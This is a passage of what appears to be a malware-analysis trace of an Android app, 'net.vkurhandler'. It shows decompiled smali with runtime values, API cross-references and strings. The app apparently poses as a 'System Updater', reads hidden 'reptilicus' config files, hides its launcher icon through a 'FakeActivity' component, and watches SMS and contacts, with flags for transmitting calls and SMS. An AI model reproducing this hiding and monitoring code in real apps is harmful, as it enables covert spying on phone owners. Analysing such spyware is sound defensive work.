                    128invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1273745
                      • This:
                        • /storage/emulated/0/.system_android/.data/reptilicus/pref.cfg
                      • p0: /storage/emulated/0/.system_android/.data/reptilicus/pref.cfg
                      • Return:
                        • /storage/emulated/0/.system_android/.data/reptilicus/pref.cfg
                    130invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    • Time: 1273768
                      • This:
                        • /storage/emulated/0/.system_android/.data/reptilicus/pref.cfg
                      • Return:
                        • false
                    131move-result v3
                    132if-nez v3, :cond_e9
                    133new-instance v2, Ljava/io/File;
                    134new-instance v3, Ljava/lang/StringBuilder;
                    136invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    138invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    139move-result-object v4
                    141invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    142move-result-object v3
                    144sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    146invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    147move-result-object v3
                    149sget-object v4, Lnet/vkurhandler/de;->b:Ljava/lang/String;
                    151invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    152move-result-object v3
                    154invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    • Time: 1273785
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler
                    155move-result-object v4
                    157invoke-static {p0, v4}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    158move-result-object v4
                    160invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    161move-result-object v3
                    163sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    165invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    166move-result-object v3
                    168const-string v4, "pref.cfg"
                    170invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    171move-result-object v3
                    173invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    174move-result-object v3
                    176invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    • Time: 1273833
                      • This:
                        • /storage/emulated/0/.system_android/.data/System Updater/pref.cfg
                      • p0: /storage/emulated/0/.system_android/.data/System Updater/pref.cfg
                      • Return:
                        • /storage/emulated/0/.system_android/.data/System Updater/pref.cfg
                    177cond_e9:
                    178invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    • Time: 1273846
                      • This:
                        • /storage/emulated/0/.system_android/.data/System Updater/pref.cfg
                      • Return:
                        • false
                    179move-result v3
                    180if-nez v3, :cond_f3
                    182invoke-static {p0}, Lnet/vkurhandler/dx;->b(Landroid/content/Context;)V
                    183goto_f2: return v0
                    184cond_f3:
                    185invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    186move-result-object v3
                    188invoke-virtual {v3}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    189move-result-object v4
                    190new-instance v5, Ljava/io/BufferedReader;
                    191new-instance v3, Ljava/io/FileReader;
                    193invoke-direct {v3, v2}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
                    195invoke-direct {v5, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                    196goto_105:
                    197invoke-virtual {v5}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                    198move-result-object v3
                    199if-nez v3, :cond_110
                    201invoke-virtual {v5}, Ljava/io/BufferedReader;->close()V
                    202move v0, v1
                    203goto/16 :goto_f2
                    204cond_110:
                    205const-string v2, "~"
                    207invoke-virtual {v3, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                    208move-result v2
                    209if-nez v2, :cond_222
                    210new-instance v2, Ljava/lang/String;
                    211const/4 v6, 0x2
                    213invoke-static {v3, v6}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                    214move-result-object v3
                    216invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
                    217goto_122:
                    218const-string v3, "~"
                    220invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    221move-result-object v2
                    222const/4 v3, 0x0
                    223aget-object v3, v2, v3
                    224const/4 v6, 0x1
                    225aget-object v6, v2, v6
                    226array-length v7, v2
                    227const/4 v8, 0x3
                    228if-ge v7, v8, :cond_1d2
                    230const-string v2, ""
                    231goto_134:
                    232const-string v7, "hide_app"
                    234invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    235move-result v7
                    236if-eqz v7, :cond_16d
                    238const-string v7, "1"
                    240invoke-virtual {v2, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    241move-result v7
                    242if-eqz v7, :cond_16d
                    243new-instance v7, Landroid/content/ComponentName;
                    245invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    246move-result-object v8
                    247new-instance v9, Ljava/lang/StringBuilder;
                    249invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    250move-result-object v10
                    252invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    253move-result-object v10
                    255invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    257const-string v10, ".FakeActivity"
                    259invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    260move-result-object v9
                    262invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    263move-result-object v9
                    265invoke-direct {v7, v8, v9}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                    267invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                    268move-result-object v8
                    269const/4 v9, 0x2
                    270const/4 v10, 0x1
                    272invoke-virtual {v8, v7, v9, v10}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                    273cond_16d:
                    274const-string v7, "first_hide_app"
                    276invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    277move-result v7
                    278if-nez v7, :cond_105
                    280const-string v7, "hide_add_dev"
                    282invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    283move-result v7
                    284if-nez v7, :cond_105
                    286const-string v7, "last_saved_contact_id"
                    288invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    289move-result v7
                    290if-nez v7, :cond_105
                    292const-string v7, "success_gcm_key"
                    294invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    295move-result v7
                    296if-nez v7, :cond_105
                    298const-string v7, "first_start_app"
                    300invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    301move-result v7
                    302if-nez v7, :cond_105
                    304const-string v7, "wait_for_sd_mounted"
                    306invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    307move-result v7
                    308if-nez v7, :cond_105
                    310const-string v7, "wait_for_toogle_gps"
                    312invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    313move-result v7
                    314if-nez v7, :cond_105
                    316const-string v7, "energy_saving"
                    318invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    319move-result v7
                    320if-nez v7, :cond_105
                    322const-string v7, "remote_preference_wait_for_inet"
                    324invoke-virtual {v3, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    325move-result v7
                    326if-nez v7, :cond_105
                    328const-string v7, "String"
                    330invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    331move-result v7
                    332if-eqz v7, :cond_1d7
                    334invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    335move-result-object v6
                    337invoke-interface {v6, v3, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    338move-result-object v2
                    340invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    341try_end_1c8: goto/16 :goto_105
                    342catch_1ca: move-exception v1
                    344const-string v2, "Utils"
                    346invoke-static {v2, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    347goto/16 :goto_f2
                    348cond_1d2: const/4 v7, 0x2
                    349try_start_1d3: aget-object v2, v2, v7
                    350goto/16 :goto_134
                    351cond_1d7:
                    352const-string v7, "Integer"
                    354invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    355move-result v7
                    356if-eqz v7, :cond_1f0
                    358invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    359move-result-object v6
                    361invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                    362move-result v2
                    364invoke-interface {v6, v3, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    365move-result-object v2
                    367invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    368goto/16 :goto_105
                    369cond_1f0:
                    370const-string v7, "Boolean"
                    372invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    373move-result v7
                    374if-eqz v7, :cond_209
                    376invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    377move-result-object v6
                    379invoke-static {v2}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z
                    380move-result v2
                    382invoke-interface {v6, v3, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    383move-result-object v2
                    385invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    386goto/16 :goto_105
                    387cond_209:
                    388const-string v7, "Long"
                    390invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    391move-result v6
                    392if-eqz v6, :cond_105
                    394invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    395move-result-object v6
                    397invoke-static {v2}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                    398move-result-wide v8
                    400invoke-interface {v6, v3, v8, v9}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    401move-result-object v2
                    403invoke-interface {v2}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    404try_end_220: goto/16 :goto_105
                    405cond_222: move-object v2, v3
                    406goto/16 :goto_122
                    407cond_225: move-object v3, v2
                    408goto/16 :goto_f
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.getSharedPreferences
                    • net.vkurhandler.MyApp.getSharedPreferences
                    • android.content.IntentFilter.<init>
                    • android.content.IntentFilter.addAction
                    • android.content.IntentFilter.addAction
                    • net.vkurhandler.MyApp.D:Landroid/content/BroadcastReceiver
                    • net.vkurhandler.MyApp.registerReceiver
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.an.<init>
                    • net.vkurhandler.Optimizer.a
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getContentResolver
                    • net.vkurhandler.fz.a:Landroid/net/Uri
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.fz.<init>
                    • android.content.ContentResolver.registerContentObserver
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.e:Lnet/vkurhandler/gj
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.al.<init>
                    • net.vkurhandler.en.<init>
                    • android.content.IntentFilter.<init>
                    • android.content.IntentFilter.addAction
                    • net.vkurhandler.MyApp.t:Lnet/vkurhandler/en
                    • net.vkurhandler.MyApp.registerReceiver
                    • net.vkurhandler.MyApp.getContentResolver
                    • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                    • net.vkurhandler.MyApp.B:Lnet/vkurhandler/al
                    • android.content.ContentResolver.registerContentObserver
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.df.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dl.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dr.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dp.a
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dp.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.ds.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.do.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dh.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dg.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.di.<init>
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.dq.<init>
                    • java.util.HashMap.<init>
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.j:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.j:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.k:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.k:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.l:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.l:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.m:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.m:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.n:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.n:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.p:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.p:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.o:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.o:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.q:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.q:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.r:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.r:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.MyApp.s:Lnet/vkurhandler/dj
                    • net.vkurhandler.dj.f:Ljava/lang/String
                    • net.vkurhandler.MyApp.s:Lnet/vkurhandler/dj
                    • java.util.HashMap.put
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.c
                    • net.vkurhandler.MyApp.z
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.C:Ljava/util/HashMap
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.c
                    Strings
                    • preference
                    • preference_2
                    • android.intent.action.TIMEZONE_CHANGED
                    • android.intent.action.TIME_SET
                    • android.intent.action.SCREEN_ON
                    • android.intent.action.SCREEN_OFF
                    • first_start_app
                    • transmit_calls
                    • transmit_sms
                    • wait_for_sd_mounted
                    • Application
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "preference"
                    2const/4 v1, 0x0
                    4invoke-virtual {p0, v0, v1}, Lnet/vkurhandler/MyApp;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                    5move-result-object v0
                    6iput-object v0, p0, Lnet/vkurhandler/MyApp;->g:Landroid/content/SharedPreferences;
                    8const-string v0, "preference_2"
                    9const/4 v1, 0x0
                    11invoke-virtual {p0, v0, v1}, Lnet/vkurhandler/MyApp;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                    12move-result-object v0
                    13iput-object v0, p0, Lnet/vkurhandler/MyApp;->h:Landroid/content/SharedPreferences;
                    14new-instance v0, Landroid/content/IntentFilter;
                    16invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
                    18const-string v1, "android.intent.action.TIMEZONE_CHANGED"
                    20invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                    22const-string v1, "android.intent.action.TIME_SET"
                    24invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                    26iget-object v1, p0, Lnet/vkurhandler/MyApp;->D:Landroid/content/BroadcastReceiver;
                    28invoke-virtual {p0, v1, v0}, Lnet/vkurhandler/MyApp;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                    • Time: 1271700
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: net.vkurhandler.cb@14a4342
                      • p1: android.content.IntentFilter@428ef53
                      • p1.getAction0: android.intent.action.TIMEZONE_CHANGED
                      • p1.getAction1: android.intent.action.TIME_SET
                      • Return:
                        • null
                    29new-instance v0, Lnet/vkurhandler/an;
                    31invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271782
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    32move-result-object v1
                    34invoke-direct {v0, v1}, Lnet/vkurhandler/an;-><init>(Landroid/content/Context;)V
                    36invoke-static {v0}, Lnet/vkurhandler/ao;->a(Landroid/database/sqlite/SQLiteOpenHelper;)V
                    38invoke-static {p0}, Lnet/vkurhandler/Optimizer;->a(Landroid/content/Context;)V
                    39new-instance v0, Lnet/vkurhandler/Mobile;
                    41invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271814
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    42move-result-object v1
                    44invoke-direct {v0, v1}, Lnet/vkurhandler/Mobile;-><init>(Landroid/content/Context;)V
                    45iput-object v0, p0, Lnet/vkurhandler/MyApp;->i:Lnet/vkurhandler/Mobile;
                    46new-instance v0, Lnet/vkurhandler/bh;
                    48invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271842
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    49move-result-object v1
                    51invoke-direct {v0, v1}, Lnet/vkurhandler/bh;-><init>(Landroid/content/Context;)V
                    52iput-object v0, p0, Lnet/vkurhandler/MyApp;->f:Lnet/vkurhandler/bh;
                    53new-instance v0, Lnet/vkurhandler/ce;
                    55invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271901
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    56move-result-object v1
                    58invoke-direct {v0, v1}, Lnet/vkurhandler/ce;-><init>(Landroid/content/Context;)V
                    59iput-object v0, p0, Lnet/vkurhandler/MyApp;->z:Lnet/vkurhandler/ce;
                    61invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getContentResolver()Landroid/content/ContentResolver;
                    62move-result-object v0
                    64sget-object v1, Lnet/vkurhandler/fz;->a:Landroid/net/Uri;
                    65const/4 v2, 0x1
                    66new-instance v3, Lnet/vkurhandler/fz;
                    68invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271941
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    69move-result-object v4
                    71invoke-direct {v3, v4}, Lnet/vkurhandler/fz;-><init>(Landroid/content/Context;)V
                    73invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V
                    • Time: 1271945
                      • This:
                        • android.app.ContextImpl$ApplicationContentResolver@ba60466
                      • p0: content://sms
                      • p1: true
                      • p2: net.vkurhandler.fz@e254054
                    74new-instance v0, Lnet/vkurhandler/gj;
                    76invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271963
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    77move-result-object v1
                    79invoke-direct {v0, v1}, Lnet/vkurhandler/gj;-><init>(Landroid/content/Context;)V
                    80iput-object v0, p0, Lnet/vkurhandler/MyApp;->e:Lnet/vkurhandler/gj;
                    82iget-object v0, p0, Lnet/vkurhandler/MyApp;->e:Lnet/vkurhandler/gj;
                    84invoke-virtual {v0}, Lnet/vkurhandler/gj;->a()V
                    85new-instance v0, Lnet/vkurhandler/al;
                    87invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1271988
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    88move-result-object v1
                    90invoke-direct {v0, v1}, Lnet/vkurhandler/al;-><init>(Landroid/content/Context;)V
                    91iput-object v0, p0, Lnet/vkurhandler/MyApp;->B:Lnet/vkurhandler/al;
                    92new-instance v0, Lnet/vkurhandler/en;
                    94invoke-direct {v0}, Lnet/vkurhandler/en;-><init>()V
                    95iput-object v0, p0, Lnet/vkurhandler/MyApp;->t:Lnet/vkurhandler/en;
                    96new-instance v0, Landroid/content/IntentFilter;
                    98const-string v1, "android.intent.action.SCREEN_ON"
                    100invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                    102const-string v1, "android.intent.action.SCREEN_OFF"
                    104invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                    106iget-object v1, p0, Lnet/vkurhandler/MyApp;->t:Lnet/vkurhandler/en;
                    108invoke-virtual {p0, v1, v0}, Lnet/vkurhandler/MyApp;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                    • Time: 1271997
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: net.vkurhandler.en@46e2bfd
                      • p1: android.content.IntentFilter@6fe00f2
                      • p1.getAction0: android.intent.action.SCREEN_ON
                      • p1.getAction1: android.intent.action.SCREEN_OFF
                      • Return:
                        • null
                    110invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getContentResolver()Landroid/content/ContentResolver;
                    111move-result-object v0
                    113sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                    114const/4 v2, 0x1
                    116iget-object v3, p0, Lnet/vkurhandler/MyApp;->B:Lnet/vkurhandler/al;
                    118invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V
                    • Time: 1272034
                      • This:
                        • android.app.ContextImpl$ApplicationContentResolver@ba60466
                      • p0: content://com.android.contacts/data/phones
                      • p1: true
                      • p2: net.vkurhandler.al@6a6e09f
                    119new-instance v0, Lnet/vkurhandler/v;
                    121invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1272037
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    122move-result-object v1
                    124invoke-direct {v0, v1}, Lnet/vkurhandler/v;-><init>(Landroid/content/Context;)V
                    125iput-object v0, p0, Lnet/vkurhandler/MyApp;->x:Lnet/vkurhandler/v;
                    127invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    • Time: 1272053
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    128move-result-object v0
                    130invoke-static {v0}, Lnet/vkurhandler/bc;->a(Landroid/content/Context;)V
                    131new-instance v0, Lnet/vkurhandler/ee;
                    133invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    134move-result-object v1
                    136invoke-direct {v0, v1}, Lnet/vkurhandler/ee;-><init>(Landroid/content/Context;)V
                    137iput-object v0, p0, Lnet/vkurhandler/MyApp;->y:Lnet/vkurhandler/ee;
                    138new-instance v0, Lnet/vkurhandler/cg;
                    140invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    141move-result-object v1
                    143invoke-direct {v0, v1}, Lnet/vkurhandler/cg;-><init>(Landroid/content/Context;)V
                    144iput-object v0, p0, Lnet/vkurhandler/MyApp;->A:Lnet/vkurhandler/cg;
                    145new-instance v0, Lnet/vkurhandler/cx;
                    147invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    148move-result-object v1
                    150invoke-direct {v0, v1}, Lnet/vkurhandler/cx;-><init>(Landroid/content/Context;)V
                    151iput-object v0, p0, Lnet/vkurhandler/MyApp;->u:Lnet/vkurhandler/cx;
                    152new-instance v0, Lnet/vkurhandler/n;
                    154invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    155move-result-object v1
                    157invoke-direct {v0, v1}, Lnet/vkurhandler/n;-><init>(Landroid/content/Context;)V
                    158iput-object v0, p0, Lnet/vkurhandler/MyApp;->v:Lnet/vkurhandler/n;
                    159new-instance v0, Lnet/vkurhandler/bl;
                    161invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    162move-result-object v1
                    164invoke-direct {v0, v1}, Lnet/vkurhandler/bl;-><init>(Landroid/content/Context;)V
                    165iput-object v0, p0, Lnet/vkurhandler/MyApp;->w:Lnet/vkurhandler/bl;
                    166new-instance v0, Lnet/vkurhandler/df;
                    168invoke-virtual {p0}, Lnet/vkurhandler/MyApp;->getApplicationContext()Landroid/content/Context;
                    169move-result-object v1
                    171invoke-direct {v0, v1}, Lnet/vkurhandler/df;-><init>(Landroid/content/Context;)V
                    172iput-object v0, p0, Lnet/vkurhandler/MyApp;->j:Lnet/vkurhandler/dj;
                    173new-instance v0, Lnet/vkurhandler/dl;
